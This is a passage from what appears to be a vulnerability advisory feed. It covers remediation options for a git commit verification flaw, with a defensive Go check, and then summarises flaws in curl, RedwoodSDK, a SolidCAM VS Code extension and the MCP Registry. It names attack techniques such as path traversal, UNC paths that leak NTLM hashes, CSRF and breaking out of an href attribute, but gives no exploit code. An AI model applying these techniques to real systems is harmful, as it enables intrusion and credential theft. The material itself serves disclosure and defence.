summary, err := v.Verify(ctx, data, sig, true) ``` This aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly. ### Option 2: Detect and reject malformed objects Add a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing: ```go func validateRawCommitFields(data []byte) error { seen := map[string]bool{} for _, line := range bytes.Split(data, []byte("\n")) { if idx := bytes.IndexByte(line, ' '); idx > 0 { key := string(line[:idx]) if seen[key] { return fmt.Errorf("malformed commit: duplicate field %q", key) } seen[key] = true } if len(line) == 0 { break // end of headers } } return nil } ``` This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
curl versions 7.14.0 through 8.19.0 leak netrc credentials when reusing proxy connections, allowing authenticated local attackers to obtain sensitive authentication data via connection pooling that ignores credential requirements. CVSS 5.3 reflects high confidentiality impact but requires low-privilege authentication and high attack complexity; EPSS 0.02% indicates minimal real-world exploitation probability despite broad version coverage. No public exploit code identified at time of analysis.
Same-site Cross-Site Request Forgery (CSRF) in RedwoodSDK server actions allows attackers controlling same-site origins to invoke arbitrary server actions with victim session cookies in versions 1.0.0-beta.50 through 1.2.2. The vulnerability stems from missing origin validation despite HTTP method enforcement, enabling attackers to trigger state-changing operations through subdomain takeover, sibling-application XSS, or local development vectors. Vendor-released patch version 1.2.3 enforces Origin/Host matching validation. CVSS 5.3 reflects high integrity impact (UI:R) but constrained attack complexity (AC:H) and no information disclosure.
OCSP stapling validation bypass in curl 8.17.0-8.19.0 allows remote attackers to obtain sensitive certificate validation information when curl uses Apple SecTrust for TLS connections, potentially enabling man-in-the-middle attacks by bypassing server certificate revocation checks.
SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, the inc "filename" directive in GPPL postprocessor files is resolved by GpplDocumentLinkHandler into a clickable link (VS Code textDocument/documentLink). The handler accepted arbitrary paths - absolute, relative with parent-directory segments (..\..\..\), UNC (\\server\share\), and arbitrary subfolders - and called File.Exists on each to decide whether to render the link. Two distinct attack surfaces resulted: information disclosure via File.Exists probing and NTLM hash leak via UNC path probing. This issue has been patched in version 1.0.2.
Stored cross-site scripting in MCP Registry's catalogue UI allows any user with a publish token to inject arbitrary event handlers via the `websiteUrl` field by breaking out of an `href` attribute with an unescaped double-quote character. The server-side URL validator accepts quotes and the client-side `escapeHtml` helper fails to encode them in attribute context, enabling attackers to execute JavaScript on the registry.modelcontextprotocol.io origin with access to localStorage, XHR, and auth tokens. Vendor-released patch version 1.7.7 available; actively confirmed via proof-of-concept.